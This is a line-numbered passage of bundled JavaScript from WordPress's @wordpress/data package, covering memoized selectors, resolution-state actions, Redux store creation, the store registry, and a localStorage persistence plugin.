985 cache.head = null;
986 }
987 };
988 return cache;
989 }
990 function isShallowEqual(a, b, fromIndex) {
991 var i;
992 if (a.length !== b.length) {
993 return false;
994 }
995 for (i = fromIndex; i < a.length; i++) {
996 if (a[i] !== b[i]) {
997 return false;
998 }
999 }
1000 return true;
1001 }
1002 function rememo_default(selector, getDependants) {
1003 var rootCache;
1004 var normalizedGetDependants = getDependants ? getDependants : arrayOf;
1005 function getCache(dependants) {
1006 var caches = rootCache, isUniqueByDependants = true, i, dependant, map, cache;
1007 for (i = 0; i < dependants.length; i++) {
1008 dependant = dependants[i];
1009 if (!isObjectLike(dependant)) {
1010 isUniqueByDependants = false;
1011 break;
1012 }
1013 if (caches.has(dependant)) {
1014 caches = caches.get(dependant);
1015 } else {
1016 map = /* @__PURE__ */ new WeakMap();
1017 caches.set(dependant, map);
1018 caches = map;
1019 }
1020 }
1021 if (!caches.has(LEAF_KEY)) {
1022 cache = createCache();
1023 cache.isUniqueByDependants = isUniqueByDependants;
1024 caches.set(LEAF_KEY, cache);
1025 }
1026 return caches.get(LEAF_KEY);
1027 }
1028 function clear() {
1029 rootCache = /* @__PURE__ */ new WeakMap();
1030 }
1031 function callSelector() {
1032 var len = arguments.length, cache, node, i, args, dependants;
1033 args = new Array(len);
1034 for (i = 0; i < len; i++) {
1035 args[i] = arguments[i];
1036 }
1037 dependants = normalizedGetDependants.apply(null, args);
1038 cache = getCache(dependants);
1039 if (!cache.isUniqueByDependants) {
1040 if (cache.lastDependants && !isShallowEqual(dependants, cache.lastDependants, 0)) {
1041 cache.clear();
1042 }
1043 cache.lastDependants = dependants;
1044 }
1045 node = cache.head;
1046 while (node) {
1047 if (!isShallowEqual(node.args, args, 1)) {
1048 node = node.next;
1049 continue;
1050 }
1051 if (node !== cache.head) {
1052 node.prev.next = node.next;
1053 if (node.next) {
1054 node.next.prev = node.prev;
1055 }
1056 node.next = cache.head;
1057 node.prev = null;
1058 cache.head.prev = node;
1059 cache.head = node;
1060 }
1061 return node.val;
1062 }
1063 node = /** @type {CacheNode} */
1064 {
1065 // Generate the result from original function
1066 val: selector.apply(null, args)
1067 };
1068 args[0] = null;
1069 node.args = args;
1070 if (cache.head) {
1071 cache.head.prev = node;
1072 node.next = cache.head;
1073 }
1074 cache.head = node;
1075 return node.val;
1076 }
1077 callSelector.getDependants = normalizedGetDependants;
1078 callSelector.clear = clear;
1079 clear();
1080 return (
1081 /** @type {S & EnhancedSelector} */
1082 callSelector
1083 );
1084 }
1085
1086 // packages/data/build-module/redux-store/metadata/selectors.mjs
1087 function getResolutionState(state, selectorName, args) {
1088 const map = state[selectorName];
1089 if (!map) {
1090 return;
1091 }
1092 return map.get(selectorArgsToStateKey(args));
1093 }
1094 function getIsResolving(state, selectorName, args) {
1095 (0, import_deprecated.default)("wp.data.select( store ).getIsResolving", {
1096 since: "6.6",
1097 version: "6.8",
1098 alternative: "wp.data.select( store ).getResolutionState"
1099 });
1100 const resolutionState = getResolutionState(state, selectorName, args);
1101 return resolutionState && resolutionState.status === "resolving";
1102 }
1103 function hasStartedResolution(state, selectorName, args) {
1104 return getResolutionState(state, selectorName, args) !== void 0;
1105 }
1106 function hasFinishedResolution(state, selectorName, args) {
1107 const status = getResolutionState(state, selectorName, args)?.status;
1108 return status === "finished" || status === "error";
1109 }
1110 function hasResolutionFailed(state, selectorName, args) {
1111 return getResolutionState(state, selectorName, args)?.status === "error";
1112 }
1113 function getResolutionError(state, selectorName, args) {
1114 const resolutionState = getResolutionState(state, selectorName, args);
1115 return resolutionState?.status === "error" ? resolutionState.error : null;
1116 }
1117 function isResolving(state, selectorName, args) {
1118 return getResolutionState(state, selectorName, args)?.status === "resolving";
1119 }
1120 function getCachedResolvers(state) {
1121 return state;
1122 }
1123 function hasResolvingSelectors(state) {
1124 return Object.values(state).some(
1125 (selectorState) => (
1126 /**
1127 * This uses the internal `_map` property of `EquivalentKeyMap` for
1128 * optimization purposes, since the `EquivalentKeyMap` implementation
1129 * does not support a `.values()` implementation.
1130 *
1131 * @see https://github.com/aduth/equivalent-key-map
1132 */
1133 Array.from(selectorState._map.values()).some(
1134 (resolution) => resolution[1]?.status === "resolving"
1135 )
1136 )
1137 );
1138 }
1139 var countSelectorsByStatus = rememo_default(
1140 (state) => {
1141 const selectorsByStatus = {};
1142 Object.values(state).forEach(
1143 (selectorState) => (
1144 /**
1145 * This uses the internal `_map` property of `EquivalentKeyMap` for
1146 * optimization purposes, since the `EquivalentKeyMap` implementation
1147 * does not support a `.values()` implementation.
1148 *
1149 * @see https://github.com/aduth/equivalent-key-map
1150 */
1151 Array.from(selectorState._map.values()).forEach(
1152 (resolution) => {
1153 const currentStatus = resolution[1]?.status ?? "error";
1154 if (!selectorsByStatus[currentStatus]) {
1155 selectorsByStatus[currentStatus] = 0;
1156 }
1157 selectorsByStatus[currentStatus]++;
1158 }
1159 )
1160 )
1161 );
1162 return selectorsByStatus;
1163 },
1164 (state) => [state]
1165 );
1166
1167 // packages/data/build-module/redux-store/metadata/actions.mjs
1168 var actions_exports = {};
1169 __export(actions_exports, {
1170 failResolution: () => failResolution,
1171 failResolutions: () => failResolutions,
1172 finishResolution: () => finishResolution,
1173 finishResolutions: () => finishResolutions,
1174 invalidateResolution: () => invalidateResolution,
1175 invalidateResolutionForStore: () => invalidateResolutionForStore,
1176 invalidateResolutionForStoreSelector: () => invalidateResolutionForStoreSelector,
1177 startResolution: () => startResolution,
1178 startResolutions: () => startResolutions
1179 });
1180 function startResolution(selectorName, args) {
1181 return {
1182 type: "START_RESOLUTION",
1183 selectorName,
1184 args
1185 };
1186 }
1187 function finishResolution(selectorName, args) {
1188 return {
1189 type: "FINISH_RESOLUTION",
1190 selectorName,
1191 args
1192 };
1193 }
1194 function failResolution(selectorName, args, error) {
1195 return {
1196 type: "FAIL_RESOLUTION",
1197 selectorName,
1198 args,
1199 error
1200 };
1201 }
1202 function startResolutions(selectorName, args) {
1203 return {
1204 type: "START_RESOLUTIONS",
1205 selectorName,
1206 args
1207 };
1208 }
1209 function finishResolutions(selectorName, args) {
1210 return {
1211 type: "FINISH_RESOLUTIONS",
1212 selectorName,
1213 args
1214 };
1215 }
1216 function failResolutions(selectorName, args, errors) {
1217 return {
1218 type: "FAIL_RESOLUTIONS",
1219 selectorName,
1220 args,
1221 errors
1222 };
1223 }
1224 function invalidateResolution(selectorName, args) {
1225 return {
1226 type: "INVALIDATE_RESOLUTION",
1227 selectorName,
1228 args
1229 };
1230 }
1231 function invalidateResolutionForStore() {
1232 return {
1233 type: "INVALIDATE_RESOLUTION_FOR_STORE"
1234 };
1235 }
1236 function invalidateResolutionForStoreSelector(selectorName) {
1237 return {
1238 type: "INVALIDATE_RESOLUTION_FOR_STORE_SELECTOR",
1239 selectorName
1240 };
1241 }
1242
1243 // packages/data/build-module/redux-store/index.mjs
1244 var trimUndefinedValues = (array) => {
1245 const result = [...array];
1246 for (let i = result.length - 1; i >= 0; i--) {
1247 if (result[i] === void 0) {
1248 result.splice(i, 1);
1249 }
1250 }
1251 return result;
1252 };
1253 var mapValues = (obj, callback) => Object.fromEntries(
1254 Object.entries(obj ?? {}).map(([key, value]) => [
1255 key,
1256 callback(value, key)
1257 ])
1258 );
1259 var devToolsReplacer = (key, state) => {
1260 if (state instanceof Map) {
1261 return Object.fromEntries(state);
1262 }
1263 if (state instanceof window.HTMLElement) {
1264 return null;
1265 }
1266 return state;
1267 };
1268 function createResolversCache() {
1269 const cache = {};
1270 return {
1271 isRunning(selectorName, args) {
1272 return cache[selectorName] && cache[selectorName].get(trimUndefinedValues(args));
1273 },
1274 clear(selectorName, args) {
1275 if (cache[selectorName]) {
1276 cache[selectorName].delete(trimUndefinedValues(args));
1277 }
1278 },
1279 markAsRunning(selectorName, args) {
1280 if (!cache[selectorName]) {
1281 cache[selectorName] = new import_equivalent_key_map2.default();
1282 }
1283 cache[selectorName].set(trimUndefinedValues(args), true);
1284 }
1285 };
1286 }
1287 function createBindingCache(getItem, bindItem) {
1288 const cache = /* @__PURE__ */ new WeakMap();
1289 return {
1290 get(itemName) {
1291 const item = getItem(itemName);
1292 if (!item) {
1293 return null;
1294 }
1295 let boundItem = cache.get(item);
1296 if (!boundItem) {
1297 boundItem = bindItem(item, itemName);
1298 cache.set(item, boundItem);
1299 }
1300 return boundItem;
1301 }
1302 };
1303 }
1304 function createPrivateProxy(publicItems, privateItems) {
1305 return new Proxy(publicItems, {
1306 get: (target, itemName) => privateItems.get(itemName) || Reflect.get(target, itemName)
1307 });
1308 }
1309 function createReduxStore(key, options) {
1310 const privateActions = {};
1311 const privateSelectors = {};
1312 const privateRegistrationFunctions = {
1313 privateActions,
1314 registerPrivateActions: (actions) => {
1315 Object.assign(privateActions, actions);
1316 },
1317 privateSelectors,
1318 registerPrivateSelectors: (selectors) => {
1319 Object.assign(privateSelectors, selectors);
1320 }
1321 };
1322 const storeDescriptor = {
1323 name: key,
1324 instantiate: (registry) => {
1325 const listeners = /* @__PURE__ */ new Set();
1326 const reducer = options.reducer;
1327 const thunkArgs = {
1328 registry,
1329 get dispatch() {
1330 return thunkDispatch;
1331 },
1332 get select() {
1333 return thunkSelect;
1334 },
1335 get resolveSelect() {
1336 return resolveSelectors;
1337 }
1338 };
1339 const store = instantiateReduxStore(
1340 key,
1341 options,
1342 registry,
1343 thunkArgs
1344 );
1345 lock(store, privateRegistrationFunctions);
1346 const resolversCache = createResolversCache();
1347 function bindAction(action) {
1348 return (...args) => Promise.resolve(store.dispatch(action(...args)));
1349 }
1350 const actions = {
1351 ...mapValues(actions_exports, bindAction),
1352 ...mapValues(options.actions, bindAction)
1353 };
1354 const allActions = createPrivateProxy(
1355 actions,
1356 createBindingCache(
1357 (name) => privateActions[name],
1358 bindAction
1359 )
1360 );
1361 const thunkDispatch = new Proxy(
1362 (action) => store.dispatch(action),
1363 { get: (target, name) => allActions[name] }
1364 );
1365 lock(actions, allActions);
1366 const resolvers = options.resolvers ? mapValues(options.resolvers, mapResolver) : {};
1367 function bindSelector(selector, selectorName) {
1368 if (selector.isRegistrySelector) {
1369 selector.registry = registry;
1370 }
1371 const boundSelector = (...args) => {
1372 args = normalize(selector, args);
1373 const state = store.__unstableOriginalGetState();
1374 if (selector.isRegistrySelector) {
1375 selector.registry = registry;
1376 }
1377 return selector(state.root, ...args);
1378 };
1379 boundSelector.__unstableNormalizeArgs = selector.__unstableNormalizeArgs;
1380 const resolver = resolvers[selectorName];
1381 if (!resolver) {
1382 boundSelector.hasResolver = false;
1383 return boundSelector;
1384 }
1385 return mapSelectorWithResolver(
1386 boundSelector,
1387 selectorName,
1388 resolver,
1389 store,
1390 resolversCache,
1391 boundMetadataSelectors
1392 );
1393 }
1394 function bindMetadataSelector(metaDataSelector) {
1395 const boundSelector = (selectorName, selectorArgs, ...args) => {
1396 if (selectorName) {
1397 const targetSelector = options.selectors?.[selectorName];
1398 if (targetSelector) {
1399 selectorArgs = normalize(
1400 targetSelector,
1401 selectorArgs
1402 );
1403 }
1404 }
1405 const state = store.__unstableOriginalGetState();
1406 return metaDataSelector(
1407 state.metadata,
1408 selectorName,
1409 selectorArgs,
1410 ...args
1411 );
1412 };
1413 boundSelector.hasResolver = false;
1414 return boundSelector;
1415 }
1416 const boundMetadataSelectors = mapValues(
1417 selectors_exports,
1418 bindMetadataSelector
1419 );
1420 const boundSelectors = mapValues(options.selectors, bindSelector);
1421 const selectors = {
1422 ...boundMetadataSelectors,
1423 ...boundSelectors
1424 };
1425 const boundPrivateSelectors = createBindingCache(
1426 (name) => privateSelectors[name],
1427 bindSelector
1428 );
1429 const allSelectors = createPrivateProxy(
1430 selectors,
1431 boundPrivateSelectors
1432 );
1433 for (const selectorName of Object.keys(privateSelectors)) {
1434 boundPrivateSelectors.get(selectorName);
1435 }
1436 const thunkSelect = new Proxy(
1437 (selector) => selector(store.__unstableOriginalGetState()),
1438 { get: (target, name) => allSelectors[name] }
1439 );
1440 lock(selectors, allSelectors);
1441 const bindResolveSelector = mapResolveSelector(
1442 store,
1443 resolvers,
1444 boundMetadataSelectors
1445 );
1446 const resolveSelectors = mapValues(
1447 boundSelectors,
1448 bindResolveSelector
1449 );
1450 const allResolveSelectors = createPrivateProxy(
1451 resolveSelectors,
1452 createBindingCache(
1453 (name) => boundPrivateSelectors.get(name),
1454 bindResolveSelector
1455 )
1456 );
1457 lock(resolveSelectors, allResolveSelectors);
1458 const bindSuspendSelector = mapSuspendSelector(
1459 store,
1460 boundMetadataSelectors
1461 );
1462 const suspendSelectors = {
1463 ...boundMetadataSelectors,
1464 // no special suspense behavior
1465 ...mapValues(boundSelectors, bindSuspendSelector)
1466 };
1467 const allSuspendSelectors = createPrivateProxy(
1468 suspendSelectors,
1469 createBindingCache(
1470 (name) => boundPrivateSelectors.get(name),
1471 bindSuspendSelector
1472 )
1473 );
1474 lock(suspendSelectors, allSuspendSelectors);
1475 const getSelectors = () => selectors;
1476 const getActions = () => actions;
1477 const getResolveSelectors = () => resolveSelectors;
1478 const getSuspendSelectors = () => suspendSelectors;
1479 store.__unstableOriginalGetState = store.getState;
1480 store.getState = () => store.__unstableOriginalGetState().root;
1481 const subscribe2 = store && ((listener) => {
1482 listeners.add(listener);
1483 return () => listeners.delete(listener);
1484 });
1485 let lastState = store.__unstableOriginalGetState();
1486 store.subscribe(() => {
1487 const state = store.__unstableOriginalGetState();
1488 const hasChanged = state !== lastState;
1489 lastState = state;
1490 if (hasChanged) {
1491 for (const listener of listeners) {
1492 listener();
1493 }
1494 }
1495 });
1496 return {
1497 reducer,
1498 store,
1499 actions,
1500 selectors,
1501 resolvers,
1502 getSelectors,
1503 getResolveSelectors,
1504 getSuspendSelectors,
1505 getActions,
1506 subscribe: subscribe2
1507 };
1508 }
1509 };
1510 lock(storeDescriptor, privateRegistrationFunctions);
1511 return storeDescriptor;
1512 }
1513 function instantiateReduxStore(key, options, registry, thunkArgs) {
1514 const controls2 = {
1515 ...options.controls,
1516 ...builtinControls
1517 };
1518 const normalizedControls = mapValues(
1519 controls2,
1520 (control) => control.isRegistryControl ? control(registry) : control
1521 );
1522 const middlewares = [
1523 resolvers_cache_middleware_default(registry, key),
1524 promise_middleware_default,
1525 (0, import_redux_routine.default)(normalizedControls),
1526 createThunkMiddleware(thunkArgs)
1527 ];
1528 const enhancers = [applyMiddleware(...middlewares)];
1529 if (typeof window !== "undefined" && window.__REDUX_DEVTOOLS_EXTENSION__) {
1530 enhancers.push(
1531 window.__REDUX_DEVTOOLS_EXTENSION__({
1532 name: key,
1533 instanceId: key,
1534 serialize: {
1535 replacer: devToolsReplacer
1536 }
1537 })
1538 );
1539 }
1540 const { reducer, initialState } = options;
1541 const enhancedReducer = combineReducers({
1542 metadata: reducer_default,
1543 root: reducer
1544 });
1545 return createStore(
1546 enhancedReducer,
1547 { root: initialState },
1548 (0, import_compose.compose)(enhancers)
1549 );
1550 }
1551 function mapResolveSelector(store, resolvers, boundMetadataSelectors) {
1552 return (selector, selectorName) => {
1553 if (!selector.hasResolver) {
1554 return async (...args) => selector.apply(null, args);
1555 }
1556 return (...args) => new Promise((resolve, reject) => {
1557 const resolver = resolvers[selectorName];
1558 const hasFinished = () => {
1559 return boundMetadataSelectors.hasFinishedResolution(
1560 selectorName,
1561 args
1562 ) || typeof resolver.isFulfilled === "function" && resolver.isFulfilled(store.getState(), ...args);
1563 };
1564 const finalize = (result2) => {
1565 const hasFailed = boundMetadataSelectors.hasResolutionFailed(
1566 selectorName,
1567 args
1568 );
1569 if (hasFailed) {
1570 const error = boundMetadataSelectors.getResolutionError(
1571 selectorName,
1572 args
1573 );
1574 reject(error);
1575 } else {
1576 resolve(result2);
1577 }
1578 };
1579 const getResult = () => selector.apply(null, args);
1580 const result = getResult();
1581 if (hasFinished()) {
1582 return finalize(result);
1583 }
1584 const unsubscribe = store.subscribe(() => {
1585 if (hasFinished()) {
1586 unsubscribe();
1587 finalize(getResult());
1588 }
1589 });
1590 });
1591 };
1592 }
1593 function mapSuspendSelector(store, boundMetadataSelectors) {
1594 return (selector, selectorName) => {
1595 if (!selector.hasResolver) {
1596 return selector;
1597 }
1598 return (...args) => {
1599 const result = selector.apply(null, args);
1600 if (boundMetadataSelectors.hasFinishedResolution(
1601 selectorName,
1602 args
1603 )) {
1604 if (boundMetadataSelectors.hasResolutionFailed(
1605 selectorName,
1606 args
1607 )) {
1608 throw boundMetadataSelectors.getResolutionError(
1609 selectorName,
1610 args
1611 );
1612 }
1613 return result;
1614 }
1615 throw new Promise((resolve) => {
1616 const unsubscribe = store.subscribe(() => {
1617 if (boundMetadataSelectors.hasFinishedResolution(
1618 selectorName,
1619 args
1620 )) {
1621 resolve();
1622 unsubscribe();
1623 }
1624 });
1625 });
1626 };
1627 };
1628 }
1629 function mapResolver(resolver) {
1630 if (resolver.fulfill) {
1631 return resolver;
1632 }
1633 return {
1634 ...resolver,
1635 // Copy the enumerable properties of the resolver function.
1636 fulfill: resolver
1637 // Add the fulfill method.
1638 };
1639 }
1640 function mapSelectorWithResolver(selector, selectorName, resolver, store, resolversCache, boundMetadataSelectors) {
1641 function fulfillSelector(args) {
1642 if (resolversCache.isRunning(selectorName, args) || boundMetadataSelectors.hasStartedResolution(selectorName, args) || typeof resolver.isFulfilled === "function" && resolver.isFulfilled(store.getState(), ...args)) {
1643 return;
1644 }
1645 resolversCache.markAsRunning(selectorName, args);
1646 setTimeout(async () => {
1647 resolversCache.clear(selectorName, args);
1648 store.dispatch(
1649 startResolution(selectorName, args)
1650 );
1651 try {
1652 const action = resolver.fulfill(...args);
1653 if (action) {
1654 await store.dispatch(action);
1655 }
1656 store.dispatch(
1657 finishResolution(selectorName, args)
1658 );
1659 } catch (error) {
1660 store.dispatch(
1661 failResolution(selectorName, args, error)
1662 );
1663 }
1664 }, 0);
1665 }
1666 const selectorResolver = (...args) => {
1667 args = normalize(selector, args);
1668 fulfillSelector(args);
1669 return selector(...args);
1670 };
1671 selectorResolver.hasResolver = true;
1672 return selectorResolver;
1673 }
1674 function normalize(selector, args) {
1675 if (selector.__unstableNormalizeArgs && typeof selector.__unstableNormalizeArgs === "function" && args?.length) {
1676 return selector.__unstableNormalizeArgs(args);
1677 }
1678 return args;
1679 }
1680
1681 // packages/data/build-module/store/index.mjs
1682 var coreDataStore = {
1683 name: "core/data",
1684 instantiate(registry) {
1685 const getCoreDataSelector = (selectorName) => (key, ...args) => {
1686 return registry.select(key)[selectorName](...args);
1687 };
1688 const getCoreDataAction = (actionName) => (key, ...args) => {
1689 return registry.dispatch(key)[actionName](...args);
1690 };
1691 return {
1692 getSelectors() {
1693 return Object.fromEntries(
1694 [
1695 "getIsResolving",
1696 "hasStartedResolution",
1697 "hasFinishedResolution",
1698 "isResolving",
1699 "getCachedResolvers"
1700 ].map((selectorName) => [
1701 selectorName,
1702 getCoreDataSelector(selectorName)
1703 ])
1704 );
1705 },
1706 getActions() {
1707 return Object.fromEntries(
1708 [
1709 "startResolution",
1710 "finishResolution",
1711 "invalidateResolution",
1712 "invalidateResolutionForStore",
1713 "invalidateResolutionForStoreSelector"
1714 ].map((actionName) => [
1715 actionName,
1716 getCoreDataAction(actionName)
1717 ])
1718 );
1719 },
1720 subscribe() {
1721 return () => () => {
1722 };
1723 }
1724 };
1725 }
1726 };
1727 var store_default = coreDataStore;
1728
1729 // packages/data/build-module/utils/emitter.mjs
1730 function createEmitter() {
1731 let isPaused = false;
1732 let isPending = false;
1733 const listeners = /* @__PURE__ */ new Set();
1734 const notifyListeners = () => (
1735 // We use Array.from to clone the listeners Set
1736 // This ensures that we don't run a listener
1737 // that was added as a response to another listener.
1738 Array.from(listeners).forEach((listener) => listener())
1739 );
1740 return {
1741 get isPaused() {
1742 return isPaused;
1743 },
1744 subscribe(listener) {
1745 listeners.add(listener);
1746 return () => listeners.delete(listener);
1747 },
1748 pause() {
1749 isPaused = true;
1750 },
1751 resume() {
1752 isPaused = false;
1753 if (isPending) {
1754 isPending = false;
1755 notifyListeners();
1756 }
1757 },
1758 emit() {
1759 if (isPaused) {
1760 isPending = true;
1761 return;
1762 }
1763 notifyListeners();
1764 }
1765 };
1766 }
1767
1768 // packages/data/build-module/registry.mjs
1769 function getStoreName(storeNameOrDescriptor) {
1770 return typeof storeNameOrDescriptor === "string" ? storeNameOrDescriptor : storeNameOrDescriptor.name;
1771 }
1772 function createRegistry(storeConfigs = {}, parent = null) {
1773 const stores = {};
1774 const emitter = createEmitter();
1775 let listeningStores = null;
1776 function globalListener() {
1777 emitter.emit();
1778 }
1779 const subscribe2 = (listener, storeNameOrDescriptor) => {
1780 if (!storeNameOrDescriptor) {
1781 return emitter.subscribe(listener);
1782 }
1783 const storeName = getStoreName(storeNameOrDescriptor);
1784 const store = stores[storeName];
1785 if (store) {
1786 return store.subscribe(listener);
1787 }
1788 if (!parent) {
1789 return emitter.subscribe(listener);
1790 }
1791 return parent.subscribe(listener, storeNameOrDescriptor);
1792 };
1793 function select3(storeNameOrDescriptor) {
1794 const storeName = getStoreName(storeNameOrDescriptor);
1795 listeningStores?.add(storeName);
1796 const store = stores[storeName];
1797 if (store) {
1798 return store.getSelectors();
1799 }
1800 return parent?.select(storeName);
1801 }
1802 function __unstableMarkListeningStores(callback, ref) {
1803 listeningStores = /* @__PURE__ */ new Set();
1804 try {
1805 return callback.call(this);
1806 } finally {
1807 ref.current = Array.from(listeningStores);
1808 listeningStores = null;
1809 }
1810 }
1811 function resolveSelect3(storeNameOrDescriptor) {
1812 const storeName = getStoreName(storeNameOrDescriptor);
1813 listeningStores?.add(storeName);
1814 const store = stores[storeName];
1815 if (store) {
1816 return store.getResolveSelectors();
1817 }
1818 return parent && parent.resolveSelect(storeName);
1819 }
1820 function suspendSelect2(storeNameOrDescriptor) {
1821 const storeName = getStoreName(storeNameOrDescriptor);
1822 listeningStores?.add(storeName);
1823 const store = stores[storeName];
1824 if (store) {
1825 return store.getSuspendSelectors();
1826 }
1827 return parent && parent.suspendSelect(storeName);
1828 }
1829 function dispatch3(storeNameOrDescriptor) {
1830 const storeName = getStoreName(storeNameOrDescriptor);
1831 const store = stores[storeName];
1832 if (store) {
1833 return store.getActions();
1834 }
1835 return parent && parent.dispatch(storeName);
1836 }
1837 function withPlugins(attributes) {
1838 return Object.fromEntries(
1839 Object.entries(attributes).map(([key, attribute]) => {
1840 if (typeof attribute !== "function") {
1841 return [key, attribute];
1842 }
1843 return [
1844 key,
1845 function() {
1846 return registry[key].apply(null, arguments);
1847 }
1848 ];
1849 })
1850 );
1851 }
1852 function registerStoreInstance(name, createStore2) {
1853 if (stores[name]) {
1854 console.error('Store "' + name + '" is already registered.');
1855 return stores[name];
1856 }
1857 const store = createStore2();
1858 if (typeof store.getSelectors !== "function") {
1859 throw new TypeError("store.getSelectors must be a function");
1860 }
1861 if (typeof store.getActions !== "function") {
1862 throw new TypeError("store.getActions must be a function");
1863 }
1864 if (typeof store.subscribe !== "function") {
1865 throw new TypeError("store.subscribe must be a function");
1866 }
1867 store.emitter = createEmitter();
1868 const currentSubscribe = store.subscribe;
1869 store.subscribe = (listener) => {
1870 const unsubscribeFromEmitter = store.emitter.subscribe(listener);
1871 const unsubscribeFromStore = currentSubscribe(() => {
1872 if (store.emitter.isPaused) {
1873 store.emitter.emit();
1874 return;
1875 }
1876 listener();
1877 });
1878 return () => {
1879 unsubscribeFromStore?.();
1880 unsubscribeFromEmitter?.();
1881 };
1882 };
1883 stores[name] = store;
1884 store.subscribe(globalListener);
1885 if (parent) {
1886 try {
1887 unlock(store.store).registerPrivateActions(
1888 unlock(parent).privateActionsOf(name)
1889 );
1890 unlock(store.store).registerPrivateSelectors(
1891 unlock(parent).privateSelectorsOf(name)
1892 );
1893 } catch (e) {
1894 }
1895 }
1896 return store;
1897 }
1898 function register2(store) {
1899 registerStoreInstance(
1900 store.name,
1901 () => store.instantiate(registry)
1902 );
1903 }
1904 function registerGenericStore2(name, store) {
1905 (0, import_deprecated2.default)("wp.data.registerGenericStore", {
1906 since: "5.9",
1907 alternative: "wp.data.register( storeDescriptor )"
1908 });
1909 registerStoreInstance(name, () => store);
1910 }
1911 function registerStore2(storeName, options) {
1912 if (!options.reducer) {
1913 throw new TypeError("Must specify store reducer");
1914 }
1915 const store = registerStoreInstance(
1916 storeName,
1917 () => createReduxStore(storeName, options).instantiate(registry)
1918 );
1919 return store.store;
1920 }
1921 function batch(callback) {
1922 if (emitter.isPaused) {
1923 callback();
1924 return;
1925 }
1926 emitter.pause();
1927 Object.values(stores).forEach((store) => store.emitter.pause());
1928 try {
1929 callback();
1930 } finally {
1931 emitter.resume();
1932 Object.values(stores).forEach(
1933 (store) => store.emitter.resume()
1934 );
1935 }
1936 }
1937 let registry = {
1938 batch,
1939 stores,
1940 namespaces: stores,
1941 // TODO: Deprecate/remove this.
1942 subscribe: subscribe2,
1943 select: select3,
1944 resolveSelect: resolveSelect3,
1945 suspendSelect: suspendSelect2,
1946 dispatch: dispatch3,
1947 use: use2,
1948 register: register2,
1949 registerGenericStore: registerGenericStore2,
1950 registerStore: registerStore2,
1951 __unstableMarkListeningStores
1952 };
1953 function use2(plugin, options) {
1954 if (!plugin) {
1955 return;
1956 }
1957 registry = {
1958 ...registry,
1959 ...plugin(registry, options)
1960 };
1961 return registry;
1962 }
1963 registry.register(store_default);
1964 for (const [name, config] of Object.entries(storeConfigs)) {
1965 registry.register(createReduxStore(name, config));
1966 }
1967 if (parent) {
1968 parent.subscribe(globalListener);
1969 }
1970 const registryWithPlugins = withPlugins(registry);
1971 lock(registryWithPlugins, {
1972 privateActionsOf: (name) => {
1973 try {
1974 return unlock(stores[name].store).privateActions;
1975 } catch (e) {
1976 return {};
1977 }
1978 },
1979 privateSelectorsOf: (name) => {
1980 try {
1981 return unlock(stores[name].store).privateSelectors;
1982 } catch (e) {
1983 return {};
1984 }
1985 }
1986 });
1987 return registryWithPlugins;
1988 }
1989
1990 // packages/data/build-module/default-registry.mjs
1991 var default_registry_default = createRegistry();
1992
1993 // packages/data/build-module/plugins/index.mjs
1994 var plugins_exports = {};
1995 __export(plugins_exports, {
1996 persistence: () => persistence_default
1997 });
1998
1999 // node_modules/is-plain-object/dist/is-plain-object.mjs
2000 function isObject2(o) {
2001 return Object.prototype.toString.call(o) === "[object Object]";
2002 }
2003 function isPlainObject2(o) {
2004 var ctor, prot;
2005 if (isObject2(o) === false) return false;
2006 ctor = o.constructor;
2007 if (ctor === void 0) return true;
2008 prot = ctor.prototype;
2009 if (isObject2(prot) === false) return false;
2010 if (prot.hasOwnProperty("isPrototypeOf") === false) {
2011 return false;
2012 }
2013 return true;
2014 }
2015
2016 // packages/data/build-module/plugins/persistence/index.mjs
2017 var import_deepmerge = __toESM(require_cjs(), 1);
2018
2019 // packages/data/build-module/plugins/persistence/storage/object.mjs
2020 var objectStorage;
2021 var storage = {
2022 getItem(key) {
2023 if (!objectStorage || !objectStorage[key]) {
2024 return null;
2025 }
2026 return objectStorage[key];
2027 },
2028 setItem(key, value) {
2029 if (!objectStorage) {
2030 storage.clear();
2031 }
2032 objectStorage[key] = String(value);
2033 },
2034 clear() {
2035 objectStorage = /* @__PURE__ */ Object.create(null);
2036 }
2037 };
2038 var object_default = storage;
2039
2040 // packages/data/build-module/plugins/persistence/storage/default.mjs
2041 var storage2;
2042 try {
2043 storage2 = window.localStorage;
2044 storage2.setItem("__wpDataTestLocalStorage", "");
2045 storage2.removeItem("__wpDataTestLocalStorage");
2046 } catch (error) {
2047 storage2 = object_default;
2048 }
2049 var default_default = storage2;
2050
2051 // packages/data/build-module/plugins/persistence/index.mjs
2052 var DEFAULT_STORAGE = default_default;
2053 var DEFAULT_STORAGE_KEY = "WP_DATA";
2054 var withLazySameState = (reducer) => (state, action) => {
2055 if (action.nextState === state) {
2056 return state;
2057 }
2058 return reducer(state, action);
2059 };
2060 function createPersistenceInterface(options) {
2061 const { storage: storage3 = DEFAULT_STORAGE, storageKey = DEFAULT_STORAGE_KEY } = options;
2062 let data;
2063 function getData() {
2064 if (data === void 0) {
2065 const persisted = storage3.getItem(storageKey);
2066 if (persisted === null) {
2067 data = {};
2068 } else {
2069 try {
2070 data = JSON.parse(persisted);
2071 } catch (error) {
2072 data = {};
2073 }
2074 }
2075 }
2076 return data;
2077 }
2078 function setData(key, value) {
2079 data = { ...data, [key]: value };
2080 storage3.setItem(storageKey, JSON.stringify(data));
2081 }
2082 return {
2083 get: getData,
2084 set: setData
2085 };
2086 }
2087 function persistencePlugin(registry, pluginOptions) {
2088 const persistence = createPersistenceInterface(pluginOptions);
2089 function createPersistOnChange(getState, storeName, keys) {
2090 let getPersistedState;
2091 if (Array.isArray(keys)) {
2092 const reducers = keys.reduce(
2093 (accumulator, key) => Object.assign(accumulator, {
2094 [key]: (state, action) => action.nextState[key]
2095 }),
2096 {}
2097 );
2098 getPersistedState = withLazySameState(
2099 combineReducers2(reducers)
2100 );
2101 } else {
2102 getPersistedState = (state, action) => action.nextState;
2103 }
2104 let lastState = getPersistedState(void 0, {
2105 nextState: getState()
2106 });
2107 return () => {
2108 const state = getPersistedState(lastState, {
2109 nextState: getState()
2110 });
2111 if (state !== lastState) {
2112 persistence.set(storeName, state);
2113 lastState = state;
2114 }
2115 };
2116 }
2117 return {
2118 registerStore(storeName, options) {
2119 if (!options.persist) {
2120 return registry.registerStore(storeName, options);
2121 }
2122 const persistedState = persistence.get()[storeName];
2123 if (persistedState !== void 0) {
2124 let initialState = options.reducer(options.initialState, {
2125 type: "@@WP/PERSISTENCE_RESTORE"
2126 });
2127 if (isPlainObject2(initialState) && isPlainObject2(persistedState)) {
2128 initialState = (0, import_deepmerge.default)(initialState, persistedState, {
2129 isMergeableObject: isPlainObject2
2130 });
2131 } else {
2132 initialState = persistedState;
2133 }
2134 options = {
